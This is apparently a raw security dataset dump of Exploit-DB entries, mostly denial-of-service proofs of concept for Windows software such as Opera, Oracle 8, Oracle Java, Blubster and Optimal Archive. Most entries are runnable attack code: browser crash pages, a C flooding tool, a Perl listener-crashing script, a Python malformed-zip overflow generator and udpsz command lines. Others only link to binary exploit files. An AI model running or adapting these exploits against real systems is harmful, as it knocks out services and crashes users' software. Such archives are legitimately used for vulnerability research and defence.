deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17396
Description: Opera Web Browser 11.11 - Remote Crash
Type: dos
Platform: windows
Date: 2011-06-14
Author: echo

Exploit:
<html>
  <body>
   <iframe src='about:blank' id='bo0om' style="width:0px;height:0px;border:0px none;"></iframe>
   <script type="text/javascript"  language="javascript">
  
    /*
    *               
    * Opera 11.11 Remote  Crash 
    * Software link: http://www.opera.com/download/
    * Tested on: Win32 xp home sp 3    
    * CVE : null
    *         
    * Im too lazy to deep analyze this ,but i thing is just unexploitable crash 
    * so f****jixvt
    *      ( dla klechis³awa i jego kosiarki :i )
    *    
    */                
  
      var a = window.document.getElementById('bo0om');
      var b = a.contentDocument.createElement('font');
      a.src='about:blank';
      setTimeout('b.face = "h3h";',500);
      
   </script>
  </body>
</html>
Exploit-DB #23927
Description: Opera Web Browser 7.0 - Remote IFRAME Denial of Service
Type: dos
Platform: windows
Date: 2004-04-08
Author: Pascal Notz

Exploit:
source: https://www.securityfocus.com/bid/10081/info

A denial of service vulnerability has been reported to affect Opera Web Browser. The issue is reported to present itself when Opera attempts to render IFRAME HTML tags that contain an invalid source argument.

A remote attacker may exploit this vulnerability to cause Opera to crash. 

<iframe src="?" height=0 width=0>
Exploit-DB #24426
Description: Opera Web Browser 7.23 - Empty Embedded Object JavaScript Denial of Service
Type: dos
Platform: windows
Date: 2004-09-01
Author: Stevo

Exploit:
source: https://www.securityfocus.com/bid/11090/info

Opera is a web browser available for a number of platforms, including Microsoft Windows, Linux and Unix variants and Apple MacOS.

Opera Web Browser is reported to be susceptible to a JavaScript denial of service vulnerability. This vulnerability presents itself when Opera attempts to execute a specific JavaScript command. Upon executing this command, Opera will reportedly crash.

This vulnerability was reported to exist in version 7.23 of Opera for Microsoft Windows. Other versions are also likely affected. Version 7.54 does not seem to be susceptible. 

<html><head>
<script language=javascript>
function dSend() {
document.crash.text;
}
</script></head>
<body onLoad="dSend()">
<embed src="" type="CCCC" name="crash" >
</embed>
</body></html>
Exploit-DB #36443
Description: Opera Web Browser < 11.60 - Denial of Service / Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2011-12-12
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/51027/info

The Opera Web browser is prone to multiple remote denial-of-service vulnerabilities and an unspecified vulnerability.

An attacker can exploit these issues to cause the affected application to crash, denying service to legitimate users.

Note: The impact of the unspecified vulnerability is not known. We will update this BID when more information emerges.

Versions prior to Opera Web Browser 11.60 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36443.zip
Exploit-DB #18112
Description: optima apiftp server 1.5.2.13 - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2011-11-14
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Optima APIFTP Server
              http://www.optimalog.com/home.html
Versions:     <= 1.5.2.13
Platforms:    Windows
Bugs:         A] NULL pointer
              B] endless loop
Exploitation: remote
Date:         13 Nov 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Optima is a suite of automation software for controlling PLC via
SCADA/HMI interface.
APIFTP Server is a file server for working with remote files located on
shared folders.


#######################################################################

=======
2) Bugs
=======

---------------
A] NULL pointer
---------------

NULL pointer exploitable through too long path names.
The effect is the displaying of a MessageBox with the error and the
continuing of the execution that will lead to a stack exaustion after
some seconds and the termination of the server.


---------------
B] endless loop
---------------

Endless loop with CPU at 100% caused by incomplete packets:

  004A9C93   8B03             /MOV EAX,DWORD PTR DS:[EBX]
  004A9C95   8B80 78010000    |MOV EAX,DWORD PTR DS:[EAX+178]
  004A9C9B   2D B80B0000      |SUB EAX,0BB8     ; Switch (cases BB8..BE0)
  004A9CA0   74 19            |JE SHORT APIFTPSe.004A9CBB
  004A9CA2   83E8 14          |SUB EAX,14
  004A9CA5   74 47            |JE SHORT APIFTPSe.004A9CEE
  004A9CA7   83E8 0A          |SUB EAX,0A
  004A9CAA   0F84 9D000000    |JE APIFTPSe.004A9D4D
  004A9CB0   83E8 0A          |SUB EAX,0A
  004A9CB3   0F84 CA000000    |JE APIFTPSe.004A9D83
  004A9CB9  ^EB D8            |JMP SHORT APIFTPSe.004A9C93


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18112.zip

A]
  udpsz -C "e803 0400 ff" -T -D -3 -d SERVER 10260 0x107

  wait some seconds, the tool will quit automatically

B]
  udpsz -C "e803 0400 00" -T -D SERVER 10260 -1


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #11984
Description: Optimal Archive 1.38 - '.zip' File (SEH) (PoC)
Type: dos
Platform: windows
Date: 2010-03-31
Author: TecR0c

Exploit:
#!/usr/bin/python
# #######################################################################
# Title:                Optimal Archive 1.38 (.zip) 0day SEH PoC
# Author:               TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c
# Found by:             TecR0c
# Download:             http://www.optimalaccess.com/oadownload.php?version=oarchive.exe
# Platform:             Windows XP sp3 En
# Advisory:             http://www.corelan.be:8800/advisories.php?id=CORELAN-10-017
# Greetz to:            Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# #######################################################################
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.

# Trigger : Right click on specially crafzip file > Boom
# Very strange behavior when debugging

print "|------------------------------------------------------------------|"
print "|                         __               __                      |"
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |"
print "|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |"
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |"
print "| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |"
print "|                                                                  |"
print "|                                       http://www.corelan.be:8800 |"
print "|                                              security@corelan.be |"
print "|                                                                  |"
print "|-------------------------------------------------[ EIP Hunters ]--|"
print "[+] optimal (.zip)  - by TecR0c"


ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00")

cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")

eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00"
"\x02\x10\x00\x00"
"\x00\x00")

buff = "\x42" * 2340
buff += "\x44" * 4
buff += "\x42" * (4064-len(buff))
buff += ".txt"

mefile = open('optimal.zip','w');
mefile.write(ldf_header + buff + cdf_header + buff + eofcdf_header);
mefile.close()
Exploit-DB #23056
Description: OptiSoft Blubster 2.5 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-08-25
Author: Luca Ercoli

Exploit:
// source: https://www.securityfocus.com/bid/8482/info

t has been reported that Blubster is prone to a remote denial of service vulnerability due to a port flooding attack on TCP port 701. The problem is reported to present itself when a remote attacker floods port 701 with voice chat session requests. This issue may cause the software to crash resulting in a denial of service to legitimate users.

This attack may not be logged, therefore allowing an attack to exploit this issue persistently. 

/******************************************************************
* Blubster client v2.5 Remote Denial of Service *
* Proof of Concept by Luca Ercoli luca.ercoli[at]inwind.it *
******************************************************************/
 
#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
 

int ck,port=701,sd,cx=0,contatore=0,prec;
 
struct sockaddr_in blubster_client;
 
 
 
void ending(char *client){
 
int i;
 

blubster_client.sin_family = AF_INET;
blubster_client.sin_port = htons((u_short)port);
blubster_client.sin_addr.s_addr = (long)inet_addr(client);
 

for(i = 0; i < 100; i++){
 
sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &blubster_client, sizeof(blubster_client)); 
 

if(ck != 0) { 
 
prec = 0;
 
if (prec == 0) contatore++;
if (prec == 1) contatore = 0;
 
if (contatore > 13) {
printf("! Remote client seems to be crashed.\n");
exit(0);
}
 
}
 
if(ck == 0) prec = 1;
 
  close(sd);
}
 
}
 
 
 

void kill_blubster(char *stringa){
 
short i;
 
  blubster_client.sin_family = AF_INET;
  blubster_client.sin_port = htons((u_short)port);
  blubster_client.sin_addr.s_addr = (long)inet_addr(stringa);
   
 
for(i = 0; i < 50; i++){
 
  
sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &blubster_client, sizeof(blubster_client)); 
 

if(ck != 0) exit(0);
 
close(sd);
 
}
 
}
 
 
 

int main(int argc, char **argv)
{
 
short i;
 
 prec = 0;
 
  if(argc < 2)
  { 
    printf("\nUsage: %s <client-ip>\n", argv[0]);
    exit(0);
  }
  
 
prec=0;
 
printf ("\n\n+ DoS Started...\n");
printf("+ Flooding remote client...\n");
 

for (i=0; i<12; i++) if(!fork()) kill_blubster(argv[1]);
 
printf ("+ Ending...\n");
 
ending(argv[1]);
  
}
Exploit-DB #36788
Description: Oracle - Outside-In '.DOCX' File Parsing Memory Corruption
Type: dos
Platform: windows
Date: 2015-04-17
Author: Francis Provencher

Exploit:
#####################################################################################

Title:   Oracle Outside-In DOCX File Parsing Memory Corruption

Platforms:   Windows

CVE:

Secunia:

{PRL}:   2015-04

Author:   Francis Provencher (Protek Research Lab’s)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

 

Oracle Outside In Technology provides software developers with a comprehensive solution to access, transform, and control the contents of over 500 unstructured file formats. From the latest office suites, such as Microsoft Office 2007, to specialty formats and legacy files, Outside In Technology provides software developers with the tools to transform unstructured files into controllable information.

(http://www.oracle.com/us/technologies/embedded/025613.htm)

#####################################################################################

============================
2) Report Timeline
============================

2015-02-17: Francis Provencher from Protek Research Lab’s found the issue;
2015-02-18: Oracle Security Alerts confirmed the issue;
2015-04-15: Oracle release a Patch for this issue.

#####################################################################################

============================
3) Technical details
============================

The vulnerability is caused due to a certain value in a document, which can be exploited to corrupt memory via a specially crafted document.

Successful exploitation may allow execution of arbitrary code.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/PRL-2015-04.docx
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36788.docx
Exploit-DB #20779
Description: Oracle 8 Server - 'TNSLSNR80.EXE' Denial of Service
Type: dos
Platform: windows
Date: 2001-04-18
Author: r0ot@runbox.com

Exploit:
source: https://www.securityfocus.com/bid/2626/info

A denial of service vulnerability exists in Oracle 8. An attacker connecting to port 1526 and sending invalid input will cause the 'TNSLSNR80.EXE' process to consume all available system resources, causing the server to stop responding.

#!/usr/local/bin/perl -w

# This little script crashes Oracle 8.0 on Windows NT 4.0 (Sp6)
# TNSLSNR80.EXE will consume 100% CPU...
#
# by r0ot@runbox.com

use IO::Socket;

$host="kickme";
# enter the hostname of the oracle-server to kick

socket(HANDLE, PF_INET, SOCK_STREAM, 6);
connect(HANDLE, sockaddr_in(1521, scalar gethostbyname($host)));
HANDLE->autoflush(1);

sleep(2);
print HANDLE "\n";
for ($i=0; $i<3; $i++) {
        sleep(2);
        print HANDLE "dfsdffdfsfdggfdgdf";
        # an arbitrary, but carefully chosen constant...
}

close(HANDLE);
Exploit-DB #36783
Description: Oracle Hyperion Smart View for Office 11.1.2.3.000 - Crash (PoC)
Type: dos
Platform: windows
Date: 2015-04-17
Author: sajith

Exploit:
# Exploit Title: Buffer Overflow in Oracle� Hyperion Smart View for Office
[DOS]
# Exploit Author: sajith
# Vendor Homepage: http://oracle.com
# vulnerable Version: Fusion Edition 11.1.2.3.000 Build 157
#Vulnerable Link:
http://www.oracle.com/technetwork/middleware/smart-view-for-office/downloads/index.html
# Tested in: Microsoft Windows 7 Enterprise 6.1.7601 Service Pack 1
[x64],en-us
#plugin tested with Microsoft Excel 2010
#CVE: CVE-2015-2572

Responsible Disclosure:

Reported to Oracle on Jul 7, 2014
patch released on April 14, 2015

How to reproduce the bug?


1)install "Smart view" and open Microsoft excel and click on "smart view"
tab

2)click on "Options" and then click on "Advanced" tab

3) In General menu in "shared Connections URL" enter large value say 50000
"A"'s and press ok, the application crashes, the output of the crash
analyzed in debugger is shown below

Note:Plugin once installed automatically integrates with Microsoft office
products like,excel,Word,PowerPoint,Microsoft office.so the vulnerability
can be exploited via any of these products.

==================python script to create 50000 "A"'s============


try:

    print "POC by sajith shetty"

    f = open("text.txt","w")

    junk = "A" * 50000

    f.write(junk)

    print "done"

except Exception, e:

        print "error- " + str(e)


Debugger o/p:

eax=00410061 ebx=0041005d ecx=00410041 edx=00000000 esi=00410061
edi=0041005d
eip=779622d2 esp=0040b7f8 ebp=0040b80c iopl=0         nv up ei pl nz na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010206
ntdll!RtlEnterCriticalSection+0x12:
779622d2 f00fba3000      lock btr dword ptr [eax],0
ds:002b:00410061=????????

caused by MODULE_NAME: HsAddin


start    end        module name
0fb50000 111a0000   HsAddin    (export symbols)
C:\Oracle\SmartView\bin\HsAddin.dll
    Loaded symbol image file: C:\Oracle\SmartView\bin\HsAddin.dll
    Image path: C:\Oracle\SmartView\bin\HsAddin.dll
    Image name: HsAddin.dll
    Timestamp:        Wed Mar 27 04:27:50 2013 (515227EE)
    CheckSum:         0163F951
    ImageSize:        01650000
    File version:     11.1.2.3085
    Product version:  11.1.2.3085
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00[PII_REDACTED]0000
    Translations:     0409.04b0
    CompanyName:      Oracle Corporation
    ProductName:      Oracle� Hyperion Smart View for Office, Fusion Edition
    InternalName:     CommonAddin
    ProductVersion:   11.1.2.3.000.157
    FileVersion:      11.1.2.3085
    FileDescription:  Oracle� Hyperion Smart View for Office, Fusion Edition
    LegalCopyright:   Copyright 2004, 2013 Oracle Corporation.  All rights
reserved
    LegalTrademarks:  Oracle� is registered.
Exploit-DB #15243
Description: Oracle Java - APPLET Tag Children Property Memory Corruption
Type: dos
Platform: windows
Date: 2010-10-13
Author: Skylined

Exploit:
Source: http://skypher.com/index.php/2010/10/13/issue-18-oracle-java-applet-childre/

<SCRIPT>
  o=document.createElement("applet");
  setTimeout(function () {
    x=o.children;
    location.reload();
  }, 1);
</SCRIPT>

Tested with:
Windows XP sp3 (5.1.2600)
MSIE 7.0.5730.13
MSIE 8.0.6001.18702
Sun Java Version 6 Update 20 1.6.0_20-b02
Exploit-DB #28050
Description: Oracle Java lookUpByteBI - Heap Buffer Overflow
Type: dos
Platform: windows
Date: 2013-09-03
Author: GuHe

Exploit:
# Exploit Title: Oracle Java lookupByteBI function heap buffer overflow
# Google Dork:
# Date: 2013-09-03
# Exploit Author: GuHe
# Vendor Homepage: http://www.oracle.com/
# Software Link:
http://www.oracle.com/technetwork/java/javase/downloads/index.html
# Version: 7u21 and eariler
# Tested on: Windows 7
# CVE : CVE-2013-2470

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28050.zip


CVE-2013-2470 - Java_sun_awt_image_ImagingLib_lookupByteBI heap buffer
overflow


1. Affected Software
JRE 7 update 21 and earlier
JRE 6 update 45 and earlier


2. Root cause analysis

The "Java_sun_awt_image_ImagingLib_lookupByteBI" performs byte lookup
operation on two BufferedImage.

In the following code:

 /* Mlib needs 16bit lookuptable and must be signed! */
    if (src->type == MLIB_SHORT) {
        unsigned short *sdataP = (unsigned short *) src->data;
        unsigned short *sP;
        if (dst->type == MLIB_BYTE) {
            unsigned char *cdataP  = (unsigned char *)  dst->data;
            unsigned char *cP;
            if (nbands > 1) {
                retStatus = 0;
            }
            else {
                int x, y;
                for (y=0; y < src->height; y++) {
                    cP = cdataP;
                    sP = sdataP;
                    for (x=0; x < src->width; x++) {
                        *cP++ = table[0][*sP++];
                    }

                    /*
                     * 4554571: increment pointers using the scanline stride
                     * in pixel units (not byte units)
                     */
                    cdataP += dstImageP->raster.scanlineStride;
                    sdataP += srcImageP->raster.scanlineStride;
                }
            }
        }
        /* How about ddata == null? */
    }

It tries to map data in src raster to the dst raster. The total bytes
written to dst rater buffer is:
(src->width) * (src->height). However, it does not correctly check the size
of the dst buffer, if the size of the
dst buffer is smaller than (src->width) * (src->height), it will be
overflowed.


3. Poc
See "TestByteBI.java" for the source code.
And you can test the poc by directly open the "HelloApplet.html" in a web
browser.


4. Tested on
JRE 7 update 21 on Windows 7 Enterprise
Exploit-DB #38788
Description: Oracle Outside In PDF 8.5.2 - Parsing Memory Corruption (1)
Type: dos
Platform: windows
Date: 2015-11-23
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   Oracle Outside In

Platforms:   Windows

Versions:   8.5.2

CVE:   CVE-2015-4877

Author:   Francis Provencher of COSIG

Twitter:   @COSIG_

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

Oracle Outside In Technology provides software developers with a comprehensive solution to access, transform, and control the contents of over 500 unstructured file formats. From the latest office suites, such as Microsoft Office 2007, to specialty formats and legacy files, Outside In Technology provides software developers with the tools to transform unstructured files into controllable information.

(http://www.oracle.com/us/technologies/embedded/025613.htm)

#####################################################################################

============================
2) Report Timeline
============================

2015-06-09: Francis Provencher of COSIG found the issue;
2015-06-11: Francis Provencher of COSIG report vulnerability to Oracle SA;
2015-10-18: Oracle release a patch for this issue;

#####################################################################################

============================
3) Technical details
============================

An heap memory corruption occured when Outside In decode (DCTDecode) a PDF with a JPEG that have an invalid “Heigth” value.

Successful exploitation of the vulnerabilities may allow execution of arbitrary code, but requires tricking a user into opening or previewing a malicious file.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2015-002.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38788.zip

###############################################################################